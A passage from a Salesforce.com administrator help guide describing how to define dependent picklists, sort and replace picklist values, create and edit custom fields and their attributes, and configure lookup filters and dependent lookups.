2. For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
3. Click Field Dependencies.
4. Click Del next to the field dependency relationship you want to delete.
5. Click OK to confirm.

See Also:
About Dependent Picklists

807
Customize Defining Dependent Picklists

Dependent Picklist Considerations


Available in: All Editions

User Permissions Needed


To define and edit dependent picklists: “Customize Application”

Consider the following when defining dependent picklists:


Checkboxes
Checkbox fields can be controlling fields but not dependent fields.

Converting fields
Convert your existing fields to dependent picklists or controlling fields without affecting the existing values in your
records. Going forward, dependency rules apply to any changes to existing records or new records.

Default values
You can set default values for controlling fields but not for dependent picklists.

Field-level security
Field-level security settings for a controlling field and dependent picklist are completely independent. Remember to hide
controlling fields whenever its correlating dependent picklist is hidden.

Import
The import wizards do not consider field dependencies. Any value can be imported into a dependent picklist regardless
of the value imported for a controlling field.

Lead conversion
If you create a dependency for lead fields that map to account, contact, and opportunity fields for lead conversion, create
the same dependency on the account, contact, or opportunity as well.
Dependent picklists and controlling lead fields can be mapped to account, contact, or opportunity fields with different
dependency rules.

Multi-select picklists
Multi-select picklists can be dependent picklists but not controlling fields.

Connect Offline
While controlling fields and dependent picklists are available in Connect Offline, the logic between them is not.

Page layouts
Make sure controlling fields exist on any page layout that contains their associated dependent picklist. When the
controlling field is not on the same page layout, the dependent picklist shows no available values.
For visually-impaired users, make sure the dependent picklist is lower on the page layout than its controlling field.

808
Customize Defining Dependent Picklists

If a dependent picklist is required and no values are available for it based on the controlling field value, users can save
the record without entering a value. The record is saved with no value for that field.

Picklist limitations
Custom picklist fields can be either controlling or dependent fields.
Standard picklist fields can be controlling fields but not dependent fields.
The maximum number of values allowed in a controlling field is 300. In addition, if a field is both a controlling field
and dependent picklist, it can't contain more than 300 values.
Before defining a dependency, make sure your picklist has at least one value; standard fields like Product Family do
not contain any values until you add them.
If a standard controlling field relies on functionality that your organization decides to disable, the dependency rules for
the picklist will go away. For example, if your organization disables the Self-Service portal and the Closed by
Self-Service User is a controlling field, its dependent picklist will display all available values.

The following fields are not available as controlling fields:


Activity Fields
Call Type

Create recurring series of events

Show Time As

Subject

Task

Type

Contact Fields
Salutation

Contact Currency

Custom Object Fields


Currency

Lead Fields
Converted

Unread By Owner

Record types
The values in your controlling fields are determined by the record type selected. The values in your dependent picklists
are determined by the record type and controlling field value selected. In short, the values available in dependent picklists
are an intersection of the record type and controlling field selections. For more information on record types, see Managing
Record Types on page 1004.

See Also:
About Dependent Picklists

809
Customize Sorting Picklists

Sorting Picklists
Available in: All Editions

User Permissions Needed


To sort picklists: “Customize Application”

You can sort the values of custom or standard picklist and multi-select picklist fields.

1. Navigate to the fields area of the appropriate object:

• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom task and event fields, click Setup ➤ Customize ➤ Activities ➤ Activity Custom Fields.
• For standard task and event fields, click Setup ➤ Customize ➤ Activities, then click Task Fields or Event Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.

2. Click Edit next to the picklist you want to update.


3. Click Reorder.
4. Use the arrows to arrange the field in the proper sequence.
5. Select a default, if desired.
6. Check the box to alphabetize the entries for users on edit pages. The entries will always appear in alphabetical order,
regardless of the user’s language.
7. Click Save.

Note: On record edit and detail pages and in reports, picklist and multi-select picklist fields may include inactive
values. These inactive values are sorted last, unless you have chosen alphabetical sorting. In that case, all values are
sorted alphabetically.

See Also:
Modifying Picklists

810
Customize Replacing Picklists

Replacing Picklists
Available in: All Editions

User Permissions Needed


To replace picklist values: “Customize Application”

You can globally replace the values of custom or standard picklist fields in existing records.

1. Navigate to the fields area of the appropriate object:

• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom task and event fields, click Setup ➤ Customize ➤ Activities ➤ Activity Custom Fields.
• For standard task and event fields, click Setup ➤ Customize ➤ Activities, then click Task Fields or Event Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.

2. Make sure the replacement value already exists in the picklist values.
3. Click Replace next to the picklist.
4. Type the exact value you want to change, and select a new replacement value.
5. Check Replace all blank values to apply the new value on any records that do not have a value in this field.
6. Click Replace to update all occurrences of the value with the new value in your organization’s records including those in
the Recycle Bin.

Note: If you replace the Stage picklist for opportunities, the Probability, Forecast Category, and Expected
Revenue fields will also be updated with the corresponding values.

See Also:
Modifying Picklists

About Custom Fields


Available in: All Editions

User Permissions Needed


To create or change custom fields: “Customize Application”

To tailor Salesforce.com for your organization, you can add custom fields for each of the tabs and objects that your organization
uses. For the total number of custom fields you can create, see Salesforce.com Editions and Limits on page 1584.

811
Customize About Custom Fields

See the following for more information:

• Creating Custom Fields


• Editing Fields
• Viewing Fields
• Deleting Fields
• Building Formulas
• Defining Dependent Picklists
• Defining Default Field Values
• Additional Custom Field Options
• Custom Field Attributes
• Changing Custom Field Type

Creating Custom Fields


Available in: Personal, Professional, Enterprise, Unlimited, and Developer Editions
Relationship fields are not available in Personal Edition
Custom settings are not available in Personal or Professional Editions

User Permissions Needed


To create or change custom fields: “Customize Application”

Create custom fields to store the information that is important to your organization. Before you begin, determine the type of
custom field you want to create. You can create many different custom field types, including lookup, master-detail, and
hierarchical relationships.
To add a custom field:

1. Navigate to the fields area of the appropriate object:

• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom task and event fields, click Setup ➤ Customize ➤ Activities ➤ Activity Custom Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
• For custom settings, click Setup ➤ Develop ➤ Custom Settings, and click the name of the custom setting.

2. Click New in the Custom Fields & Relationships section of the page.
Tip: From this section, you can also set field dependencies and field history tracking on custom objects.

3. Choose the type of field to create, and click Next.

812
Customize About Custom Fields

Note:

• Some data types are only available for certain configurations. For example, the Master-Detail Relationship
option is available only for custom objects when the custom object does not already have a master-detail
relationship. Also, custom settings only allow a subset of the available data types.
• Relationship fields count towards custom field limits.
• Field types not listed in custom field types may appear if your organization installed a package from the
AppExchange that uses those custom field types.
• The Roll-Up Summary option is only available on certain objects.
• Field types correspond to API data types. For more information, see “API Data Types and API Field Types”
in the Web Services API Developer's Guide.

4. For relationship fields, choose the object that you want to associate with it.
5. Enter a field label.
The field name is automatically populated based on the field label you enter. This name can contain only underscores and
alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end
with an underscore, and not contain two consecutive underscores. Use the field name for merge fields in custom links,
custom s-controls, and when referencing the field from the API. For more information, see Guidelines for Using Merge
Fields on page 414.
Tip: Ensure the custom field name is not identical to any standard field name for that object. If a custom field
and standard field have the same name and you reference that name in a merge field, the merge field displays the
value of the custom field.

6. Enter any field attributes.


7. For relationship fields, optionally create a lookup filter on page 825 to limit the valid values and lookup dialog results for
the field.
8. Click Next to continue.
9. In Enterprise, Unlimited, and Developer Editions, specify the field's access settings for each profile, and click Next.

Access Level Enabled Settings


Users can view and edit the field. Visible
Users can view but not edit the field. Visible and Read-Only
Users can't view or edit the field. None

Note:

• When you create a custom field, by default the field isn't visible or editable for portal profiles, unless the field
is universally required.
• Profiles with “View Encrypted Data” permission are indicated with an asterisk.

10. Choose the page layouts that should display the field as an editable field.
The field is added as the last field in the first two-column section on the page layout. For long text area fields, the field is
added to the end of the first one-column section on the page layout. For user custom fields, the field is automatically added
to the bottom of the user detail page. For universally required fields, you cannot remove the field from page layouts or
make it read only.

813
Customize About Custom Fields

11. For relationship fields, choose whether to create a related list that displays information about the associated records. You
can choose to put the related list on any page layouts for that object.
To change the label of the custom related list as it will appear on the page layouts of the associated object, edit the Related
List Label.

To add the new related list to page layouts that users have already customized, check Append related list to
users’ existing personal customizations.
12. Click Save to finish or Save & New to create more custom fields.

Note: Creating fields may require changing a large number of records at once. To process these changes efficiently,
Salesforce.com may queue your request and send an email notification when the process has completed.

See Also:
Custom Field Attributes
Notes on Changing Custom Field Types
Additional Custom Field Options
Additional Options for Updating Picklists
Universally Required Field Considerations
Defining Roll-Up Summaries
Managing Deleted Custom Fields
Custom Settings Overview
Building Formulas
Defining Default Field Values

Custom Field Types


The first step in creating a custom field is choosing the type of the field. Below is a description of each custom field type. Field
types not listed in custom field types may appear if your organization installed a package from the AppExchange that uses
those custom field types.

Type Description
Auto Number Automatically assigns a unique sequential number to each
record. The maximum length of any auto-number field is 30
characters, 20 of which are reserved for prefix or suffix text.
Checkbox Allows users to check a box, indicating a true or false attribute
of a record. When using a checkbox field for a report or list
view filter, use “True” for checked values and “False” for
unchecked values. The import wizards and the weekly export
tool use “1” for checked values and “0” for unchecked values.
Currency Allows users to enter a currency amount. The system
automatically formats the field as a currency amount. This can
be useful if you export data to Excel or another spreadsheet.

814
Customize About Custom Fields

Type Description
Date Allows users to enter a date or pick a date from a popup
calendar. In reports, you can limit the data by specific dates
using any custom date field.
Date/Time Allows users to enter a date or pick a date from a popup
calendar and enter a time of day. They can also add the current
date and time by clicking the date and time link next to the
field. The time of day includes AM or PM notation. In
reports, you can limit the data by specific dates and times using
any custom date field.
Email Allows users to enter an email address, which is validated to
ensure proper format. If this field is specified for contacts or
leads, users can choose the address when clicking Send an
Email. Note that you can't use custom email addresses for
mass emails.
Formula Allows users to automatically calculate values based on other
values or fields such as merge fields. See Building Formulas
on page 878 and Operators and Functions on page 931.
Hierarchical Relationship Creates a hierarchical lookup relationship between users.
Allows users to use a lookup field to associate one user with
another that does not directly or indirectly refer to itself. For
example, you can create a custom hierarchical relationship
field to store each user's direct manager.
Lookup Relationship Creates a relationship between two records so you can associate
them with each other. For example, opportunities have a
lookup relationship with cases that lets you associate a
particular case with an opportunity. A lookup relationship
creates a field that allows users to click a lookup icon and select
another record from a popup window. On the associated
record, you can then display a related list to show all of the
records that are linked to it. You can create lookup relationship
fields that link to users, standard objects, or custom objects.
A lookup relationship has no effect on record deletion or
security, and the lookup field is not required in the page layout.
If a lookup field references a record that is deleted,
Salesforce.com sets the lookup field to null, and does not run
any Apex triggers, validation rules, workflow rules, or roll-up
summary fields. For more information on relationships, see
Overview of Relationships on page 1375.
Lookup relationship fields are not available in Personal
Edition.
Lookup relationship fields to campaign members are not
available; however, lookup relationship fields from campaign
members to other objects are available.

815
Customize About Custom Fields

Type Description
Master-Detail Relationship Creates a relationship between records where the master record
controls certain behaviors of the detail record such as record
deletion and security. For more information on relationships,
see Overview of Relationships on page 1375.
Available for custom objects only, although you can create a
master-detail relationship field on a custom object that links
to a standard object.
Master-detail relationships cannot be used with campaign
members.

Number Allows users to enter any number. This is treated as a real


number and any leading zeros are removed.
Note: Salesforce.com rounds numbers referenced in
merge fields according to the user's locale, not the
number of decimal of spaces specified in the number
field configuration.

Percent Allows users to enter a percentage number, for example, '10'.


The system automatically adds the percent sign to the number.
Phone Allows users to enter any phone number. Salesforce.com
automatically formats it as a phone number. See Entering
Phone Numbers on page 13.
If you are using Salesforce CRM Call Center, custom phone
fields are displayed with the button, allowing click-to-dial
functionality. Consequently, salesforce.com recommends that
you do not use a custom phone field for fax numbers.

Picklist Allows users to select a value from a list you define.


Picklist (Multi-select) Allows users to select more than one picklist value from a list
you define. These fields display each value separated by a
semicolon.
Roll-Up Summary Automatically displays the record count of related records or
calculates the sum, minimum, or maximum value of related
records. The records must be directly related to the selected
record and on the detail side of a custom master-detail
relationship with the object that contains the roll-up summary
field. For example, a custom account field called “Total
Number of Guests” displays the number of guest custom object
records in the Guests related list for accounts.
Text Allows users to enter any combination of letters, numbers, or
symbols. You can set a maximum length, up to 255 characters.
Text (Encrypted) Allows users to enter any combination of letters, numbers, or
symbols that are stored in encrypted form. You can set a

816
Customize About Custom Fields

Type Description
maximum length of up to 175 characters. To enable encrypted
fields for your organization, contact salesforce.com.
Text Area Allows users to enter up to 255 characters that display on
separate lines similar to a Description field.
Text Area (Long) Allows users to enter up to 32,000 characters that display on
separate lines similar to a Description field. You can set
the length of this field type to a lower limit, if desired. Any
length from 256 to 32,000 characters is allowed. Note that
every time you press Enter within a long text area field, a
linebreak and a return character are added to the text. These
two characters count toward the 32,000 character limit. This
data type is not available for activities or products on
opportunities.
Text Area (Rich) With the use of a toolbar, users can format the field content
and add images and hyperlinks. The toolbar allows the user
to undo, redo, bold, italicize, underline, strike-out, add a
hyperlink, upload or link to an image, modify alignment, add
a numbered or non-numbered list, indent, and outdent. The
maximum field size is 32,000 characters, inclusive of all the
formatting and HTML tags. The maximum size for uploaded
images is 1MB. Only gif, jpeg and png file types are
supported. For more information, see Using Rich Text Area
Fields on page 844.
URL Allows users to enter up to 255 characters of any valid website
address. When users click on the field, the URL will open in
a separate browser window. Note that only the first 50
characters are displayed on the record detail pages.

See Also:
Changing Custom Field Type
Notes on Changing Custom Field Types
About Roll-Up Summary Fields

Custom Field Attributes


Here is a description of the attributes (in alphabetical order) that make up a custom field entry:

Field Description
# Visible Lines For long text area fields, set the number of lines to be displayed on edit
pages. You can display between 2 and 50 lines (the default is 6 lines). If the

817
Customize About Custom Fields

Field Description
text does not fit in the specified number of visible lines, scroll bars will
appear. Long text area fields are displayed in their entirety on detail pages
and printable views.
Calculation Options Option that determines how a roll-up summary field is recalculated after
its properties change. Choose Automatic calculation to recalculate
a field the next time it is displayed. Choose Force a mass
recalculation of this field as a safety net option to force
recalculation of the roll-up summary field values.
Child Relationship Name The name used in API SOQL relationship queries.
Data Type The data type of a field determines what type of information is in the field.
For example, an field with the Number data type contains a positive or
negative integer. For more information on data types, see Custom Field
Types on page 814.
Decimal Places For number, currency, and percent fields, the number of digits you can enter
to the right of a decimal point, for example, 4.98 for an entry of 2. Note
that the system rounds the decimal numbers you enter, if necessary. For
example, if you enter 4.986 in a field with Decimal Places of 2, the
number rounds to 4.99.
Default Value The value to apply when a user creates a new record. For checkbox custom
fields, choose Checked or Unchecked as the default value to indicate the
default when creating new records. Default values should not be assigned
to fields that are both required and unique, as uniqueness errors may result.
See About Default Field Values on page 887.
Description Text that describes the custom field. This description is for administration
purposes only and does not display to users on record detail and edit pages
that include the field.
Display Format For auto-number fields, enter a Display Format to control such formatting
details as the minimum number of leading zeros as well as any prefix or
suffix for the number.
Begin by entering the required minimum: {0}. This is a placeholder for the
auto-number without any leading zeros. Add any prefix to your number
before this placeholder and insert any suffix text after the placeholder. Insert
any date prefixes or suffixes in the form of {YY}, {YYYY}, {MM}, or {DD},
which always represent the create date of the record.
For information on using auto-number formats when entering your
Display Format, see Auto-Number Formatting Examples on page 821.

External ID For each object that can have custom fields, you can set up to three custom
text, number, or email fields as external IDs. An external ID field contains
record identifiers from a system outside of Salesforce.com.
You can use an external ID field to update or upsert records using the API.
When using the API or import wizards for custom objects and solutions,

818
Customize About Custom Fields

Field Description
you can use this field to prevent duplicates by also marking the field as
Unique.
Note: Custom fields marked as Unique count against an object's
limit of three External ID fields.

Filter Criteria The criteria used to select a group of records to calculate the value of a
roll-up summary field.
Formulas Enter the formula for the custom formula field or custom summary formula
for reports. For help on building formulas, see Building Formulas on page
878.
Help Text The text that displays in the field-level help hover text for this field.
Label Name of the custom field as you want it to appear.
Length (for text fields) For text fields, the maximum number of characters that a user can enter in
a field (up to 255 characters).
Length (for number, currency, percent fields) For number, currency, and percent fields, the number of digits you can enter
to the left of the decimal point, for example, 123.98 for an entry of 3.
Mask Character For encrypted text fields, determines the character to use for hidden
characters. Available options are * and X.
Mask Type For encrypted text fields, determines which characters are hidden and the
use of dashes in the field. Masked characters are hidden using the character
selected in Mask Character. Available options are:
Mask All Characters
All characters in the field are hidden.
Last Four Characters Clear
All characters are hidden but the last four display.
Credit Card Number
The first 12 characters are hidden and the last four display.
Salesforce.com automatically inserts a dash after every fourth character.
National Insurance Number
All characters are hidden. Salesforce.com automatically inserts spaces
after each pair of characters if the field contains nine characters. Use
this option for UK NINO fields.
Social Security Number
The first five characters are hidden and the last four display.
Salesforce.com automatically inserts a dash after the third and fifth
characters.

819
Customize About Custom Fields

Field Description
Social Insurance Number
All characters are hidden but the last three display. Salesforce.com
automatically inserts a dash after the third and sixth characters.

Master Object The object on the master side of a master-detail relationship used to display
the value of a roll-up summary field.
Related List Label For relationship fields, the title for the related list that displays associated
records on the parent record.
Related To For relationship fields, the name of the associated object.
Required Makes the field required everywhere in Salesforce.com.
You must specify a default value for required campaign member custom
fields.
Default values should not be assigned to fields that are both required and
unique, as uniqueness errors may result. .See About Universally Required
Fields on page 925.

Roll-Up Type For roll-up summary fields, choose the type of calculation to make:

Type Description
COUNT Totals the number of related records.
SUM Totals the values in the field you select in the Field to
Aggregate option. Only number, currency, and percent fields
are available.
MIN Displays the lowest value of the field you select in the Field
to Aggregate option for all directly-related records. Only
number, currency, percent, date, and date/time fields are
available.
MAX Displays the highest value of the field you select in the Field
to Aggregate option for all directly-related records. Only
number, currency, percent, date, and date/time fields are
available.

Starting Number
For auto-number fields, enter a Starting Number that is less than 1
billion. Check Generate Auto Number for existing records...
if you would like to automatically number all current records beginning with
the starting number you enter. If unchecked, the next record you enter will
be assigned the starting number and your existing records will be blank in
this field. For leads, only unconverted leads will be assigned a number.
An auto-number field can contain up to 10 digits and up to 20 additional
characters for your prefix or suffix.

820
Customize About Custom Fields

Field Description
Sharing Setting For master-detail relationship fields, the Sharing Setting attribute
determines the sharing access that users must have to a master record in
order to create, edit, or delete its associated detail records.
Summarized Object The object on the detail side of a master-detail relationship used to provide
the values calculated in a roll-up summary field.
Unique If checked, prevents duplicate field values.
For text fields, you can control whether values that are identical except for
their case are considered unique. Select Treat "ABC" and "abc" as
duplicate values to enforce case-insensitive uniqueness, or select
Treat "ABC" and "abc" as different values to enforce
case-sensitive uniqueness.
Note: Custom fields marked as Unique count against an object's
limit of three External ID fields.

Values For picklist fields, a list of available values (up to 255 characters for each
value). For picklists, select the appropriate checkbox to alphabetize the
picklist entries. You can also set the first value as the default selection. If
you mark both boxes, Salesforce.com first alphabetizes the entries and then
sets the first alphabetized value as the default. For multi-select picklists,
enter a list of values, check the sorting options that apply, and enter how
many values you want displayed at a time on edit pages, which determines
the box height.

Auto-Number Formatting Examples


Use these examples when setting the display format for auto-number fields.

Format Displayed Values


{0} 3 66 103
{000} 003 066 103
Lead- {00000} Lead- 00003 Lead- 00666 Lead- 10023
Campaign- {00} {MM} {DD} {YY} Campaign- 03 120204 Campaign- 76 030304 Campaign-
123 110904
PO #{0} {MM}-{DD}-{YY} PO #12233 12-20-04 PO #25 06-07-04 PO #3 07-07-04

See Also:
Creating a Many-to-Many Relationship
Web Services API Developer's Guide

821
Customize About Custom Fields

Editing Fields
Available in: All Editions

User Permissions Needed


To create or change fields: “Customize Application”

1. For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click Fields.
2. For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
3. Click Edit next to the field’s name.
4. Modify the field attributes. The attributes differ depending on the field type.
To change the type of your custom field, see Changing Custom Field Type on page 986.
To make changes to picklists:

• Click Edit next to a value to change the name, make it the default picklist value, assign a color to use on charts, or
change additional information.
• Click Del next to a value to remove it from the picklist.
Special picklists—such as opportunity Stage, Task Priority, Task Status, Lead Status, and Case
Status—may prompt you to map the deleted value to another existing value in all of your organization’s records. You
can map the values or leave your existing data unchanged.
• Click New to add values to the picklist. If you use record types, select any record types that you want to include the
new values.
• Click Reorder to change the sequence of picklist values.
• Click Replace to change the values of picklist fields in existing records.
• Click Printable View to open an easy-to-print list of your picklist values.
• Click Chart Colors and select an option to assign colors to picklist values for use in charts:

- Assign fixed colors to all values assigns a fixed color to each value from the standard set of chart colors. The Chart
Colors column shows the assigned colors. Manually change assigned colors by editing picklist values. For example,
if you want Closed Lost values to always show up as red in charts grouped by Opportunity Stage, assign red to that
picklist value.
- Assign colors to values dynamically assigns colors when a chart is generated. The Chart Colors column shows
“Assigned dynamically” for all colors. Assign fixed colors by editing picklist values. For example, if you only need
certain picklist values to show up as fixed colors in charts, manually assign colors to those values and leave the rest
as “Assigned dynamically.”

Manual assignments are overridden each time you click an option in Chart Colors.
Note: Chart colors aren't available for multi-select picklists, currency picklists, or Task Subject, Event Subject,
and Opportunity Competitor picklists.

5. Optionally, define custom help text for the field.


6. For lookup and master-detail relationship fields, optionally define a lookup filter on page 825.

822
Customize About Custom Fields

7. For formula fields, click Next to modify the formula. See Building Formulas on page 878.
8. In Enterprise, Unlimited, and Developer Editions, click Next to set the field-level security for the field. See Setting
Field-Level Security on page 540.
9. Click Save.

Note:

• Editing fields may require changing a large number of records at once. To process these changes efficiently,
Salesforce.com may queue your request and send an email notification when the process has completed.
• To customize the way a custom object’s related list appears on a parent record’s detail page, edit the parent record’s
page layout. For example, if you want to edit which fields appear on a custom object’s related list on accounts, you
would edit the account page layout.
• You cannot change the Field Name if a custom field is referenced in an Apex script.

See Also:
Changing Custom Field Type
Setting Field-Level Security
Additional Custom Field Options
Additional Options for Updating Picklists
Universally Required Field Considerations
Defining Default Field Values
About Universally Required Fields
Managing Deleted Custom Fields

About Lookup Filters


Available in: All Editions

User Permissions Needed


To manage lookup filters: “Customize Application”

Note: Salesforce.com beta features are production-quality but are not functionally complete.

Improve user productivity and data quality with lookup filters.


Lookup filters are administrator settings that restrict the valid values and lookup dialog results for lookup, master-detail, and
hierarchical relationship fields. Administrators specify the restrictions by configuring filter criteria that compare fields and
values on:

• The current record (source)


• The lookup object (target)
• The user's record, profile, and role

823
Customize About Custom Fields

• Records directly related to the target object

For example, you can:

• Restrict the Account Name field on opportunities to allow only accounts with a record type of Customer, filtering out
Partner and Competitor.
• Restrict the Account Name field on opportunities to allow only active accounts.
• Restrict the Contact field on cases to allow only contacts associated with the account specified in the Account Name
field on the case record.
• Restrict the Account Name field on cases to allow only users with the “International Sales” profile to create or edit cases
for accounts outside the United States.

Tip: When you define a lookup filter, optionally click Insert Suggested Criteria to choose from a list of
lookup filter criteria that Salesforce.com suggests based on the relationships between objects in your organization.

Administrators can make lookup filters required or optional.

• For fields with required lookup filters, only values that match the lookup filter criteria appear in the lookup dialog. Also,
users can't save invalid values manually typed in the field when editing the record. If a user tries to save an invalid value,
Salesforce.com displays an error message, which administrators can customize.
• For fields with optional lookup filters, only values that match the lookup filter criteria appear in the lookup dialog initially;
however, users can click the Show all results link in the lookup dialog to remove the filter and view all search result values
for the lookup field. Also, optional lookup filters allow users to save values that don't match the lookup filter criteria, and
Salesforce.com does not display an error message if a user tries to save such values.

See Also:
Notes on Lookup Filters
About Dependent Lookups
Defining Lookup Filters
Lookup Filter Examples
Editing Fields
Tip sheet: Creating Lookup Filters on Relationship Fields

About Dependent Lookups

Available in: All Editions

User Permissions Needed


To manage dependent lookups: “Customize Application”

Note: Salesforce.com beta features are production-quality but are not functionally complete.

824
Customize About Custom Fields

A dependent lookup is a relationship field with a lookup filter that references fields on the source object. For example, you can
configure the case Contact field to only show contacts associated with the account selected in the case Account Name field.
When a user changes the value of a referenced field on the source object, Salesforce.com immediately verifies that the value
in the dependent lookup still meets the lookup filter criteria. If the value doesn't meet the criteria, Salesforce.com displays an
error message and users can't save the record until the value is valid.
If the referenced field on the source object is a lookup, master-detail, or hierarchy field, users can't change its value by typing.
Instead, users must click the lookup icon and select a value in the lookup search dialog.

See Also:
About Lookup Filters
Notes on Lookup Filters
Defining Lookup Filters
Lookup Filter Examples
Editing Fields
Tip sheet: Creating Lookup Filters on Relationship Fields

Notes on Lookup Filters

Available in: All Editions

User Permissions Needed


To manage lookup filters: “Customize Application”

Note: Salesforce.com beta features are production-quality but are not functionally complete.

Beta Limitations
• You cannot create filtered lookups on person account fields; however, lookup filter criteria can reference person account
fields.
• Visualforce pages, the Salesforce to Salesforce invitation page, Ideas, and the Division field don't fully support dependent
lookups. Fields on these pages with dependent lookups still appear and Salesforce.com still prevents the user from saving
the record if the lookup is required; however, Salesforce.com does not dynamically filter lookup the dialog results or prevent
users from entering invalid values.
• Some standard objects, such as Content, Products, or Cases, can't use dependent lookups. You can have a dependent
lookup on a field on the Opportunity object, but it can't lookup to the Opportunity object.
• If you create a filtered lookup on a field that looks up to another object, both objects must be deployed into the organization
at the same time.

825
Customize About Custom Fields

Best Practices
Custom Help
Define custom help for fields with lookup filters to let users know about the business rule the filter enforces. For example,
if the lookup filter restricts the Account Name on opportunities to only allow active accounts, define custom help that
states You can only associate active accounts with opportunities.

Error Messages
Customize lookup filter error messages to guide users who type invalid values. For example, if the lookup filter restricts
the Account Name on opportunities to only allow active accounts, define an error message that states Value doesn't
exist or isn't an active account.
Important: Salesforce.com translates the standard error message for required lookup filters, but not custom
error messages. Use the Translation Workbench to translate lookup filter custom error messages. To restore
the standard error message after modifying it, click Reset to default message.

Profile-Based Lookup Filters


Use Current User Profile: ID in filter criteria to define different filter criteria for different users, or to let
administrators enter values that don't match the criteria. Avoid using Current User Profile: Name due to
technical limitations on standard profiles. See Lookup Filter Examples on page 832.

Record IDs vs. Record Names


To reference a specific record in filter criteria, use the ID of the record instead of its name. IDs are always unique whereas
names are not.

Testing
After creating a lookup filter, test it to make sure it is not too restrictive. Some relationship fields may be read only to
users with certain profiles; ensure your lookup filters don't prevent those users from editing records critical to their job
functions.

Dependent Lookups on Page Layouts and Mini Page Layouts in the Console
When designing page layouts with dependent lookups:
• If a dependent lookup is above its controlling field on a layout, make its lookup filter optional or redesign the layout.
Moving a required dependent lookup above its controlling field may confuse users who typically start from the top
of a page when entering data.
• Ensure that both the controlling and dependent fields are visible so users can correct invalid values.

Lookup Filters and the Lookup Filter Fields Search Layout


Do not reference the same fields in both lookup filter criteria and the Lookup Filter Fields search layout. Users might
assume that results from their custom search override administrator-controlled lookup filters.

Implementation Notes
• Salesforce.com supports lookup filters on relationship fields that point to:
- Accounts
- Assets
- Contacts
- Entitlements
- Quotes
- Service contracts

826
Customize About Custom Fields

- Users
- Custom objects
For example, you can define a lookup filter on opportunities that points to accounts, but not vice-versa.
• Lookup filter criteria can compare fields on the source object with different types of fields on the target object as long as
the fields are compatible.

Source Object Field Type Compatible Target Object Field Types


Currency Currency, Roll-Up Summary
Date Date, Date/Time, Roll-Up Summary
Date/Time Date, Date/Time, Roll-Up Summary
Hierarchy Hierarchy, Lookup, Master-Detail
Lookup Hierarchy, Lookup, Master-Detail
Master-Detail Lookup, Hierarchy, Master-Detail
Number Number, Percent, Roll-Up Summary
Percent Number, Percent, Roll-Up Summary
Picklist Text, Text Area, Email, URL
Roll-Up Summary Currency, Number, Date, Date/Time, Roll-Up Summary

• Lookup filter criteria cannot reference the following types of fields on the source object:
- Autonumber
- Encrypted
- Formula
- Long text area
- Multi-select picklist
- Roll-up summary
- Text
- Text area
- URL

• On the Fields page, the icon indicates all fields with active lookup filters. The icon indicates that the lookup filter
is required.
• If you enter Current User Profile: Name or Profile: Name in the Field column of your lookup filter criteria,
Salesforce.com displays a lookup icon in that row. Click the lookup icon to select from a list of existing profiles rather than
typing profile names.
• The lookup filters you create in Salesforce.com also appear in the partner portal and Customer Portal.
• Lookup filters are case-sensitive.
• If you convert a required lookup filter with a custom error message to optional, Salesforce.com deletes the message.
• If you create a lookup filter that invalidates an existing value for that field, the value persists; however, when a user edits
the record, Salesforce.com displays an error message and requires the user to change the invalid value before saving.
• Salesforce.com prevents you from saving changes that cause required lookup filters on related records to contain invalid
values.
• Lookup auto-completion does not work for fields referenced by lookup filter criteria.

827
Customize About Custom Fields

• Salesforce.com ignores lookup filters when converting leads if the Enforce Validation and Triggers from Lead
Convert checkbox on the Lead Settings page is deselected.
• Versions 16.0 and higher of the Salesforce.com API support lookup filters. Lookup filters are enforced when you load data
through the API.
• If you configure a lookup filter to show inactive users only, the relationship field has no valid options because inactive users
are never valid for relationship fields that point to the User object.
• In enhanced list views, you cannot change fields that a dependent lookup filter criteria references.
• Lookup filters do not support mass owner changes. If your lookup filter criteria reference the Owner field, performing a
mass owner change can result in incorrect values that won't be noticed until you attempt to save the record.
• Lookup filters cannot reference formulas that reference global merge fields that lookup filters do not support.
• Salesforce.com does not display an error message if the value of a controlling field invalidates the value of a dependent
master-detail relationship field.
• Salesforce.com does not support inline editing in list views for:
- Fields on the source object that are referenced in dependent lookups.
- Fields with dependent lookups.

Spanning Relationships in Lookup Filters


Filter criteria can include fields directly related to the target object (one level only). For example, on a lookup field pointing
to contacts, a lookup filter can reference fields on the account related to the contact via the Account Name relationship field.
The lookup field can also reference fields on the contact related to the contact via the Reports To relationship field.
For required lookup filters, each field referenced on a related lookup object counts against the number of unique relationships
allowed for the referenced object, not the source object. For example, the two unique relationships described above count
against the number allowed for the Contact object. Optional lookup filters don't count against the limit on the number of
unique relationships allowed per object.
To see which lookup filters affect the limit for a particular target object:
• For standard objects, click Setup ➤ Customize, select the object from the Customize menu, and click Related Lookup
Filters.
• For custom objects, click Setup ➤ Create ➤ Objects, select one of the custom objects in the list, and scroll to the Related
Lookup Filters related list.

Lookup Filters vs. Validation Rules


Validation rules and lookup filters achieve similar ends, but offer different advantages. Use a lookup filter if:
• You want to improve user efficiency by limiting the number of available options in a lookup search dialog.
• You want to improve user efficiency by automating filters on lookup search dialogs that your users manually set.
Use a validation rule if:
• You're close to the maximum number of lookup filters allowed.
• You must implement a complex business rule that requires you to use a formula. Formulas can reference fields that basic
filter criteria can't reference, such as fields on the parent of the source object. Formulas can also use functions. For example,
use ISNEW if the rule should only apply on record creation, or ISCHANGED if the rule should apply when a field changes.

Other Limitations
• Lookup filter criteria can reference fields on accounts, assets, contacts, entitlements, quotes, service contracts, users, and
custom objects, with the following exceptions:
- Relationship fields on activities

828
Customize About Custom Fields

- System fields that are always read only, such as Created By and Modified By
- Relationship fields that support queues, such as Case Owner, Lead Owner, and Delegated Approver

• Each object can have up to five active required lookup filters and an unlimited number of optional lookup filters. If you
reach the limit of required lookup filters for an object, create optional filters instead and use validation rules to enforce
your business rule when a user saves.
• Lookup filters on currency fields don't convert currencies. For example, if your organization uses multiple currencies and
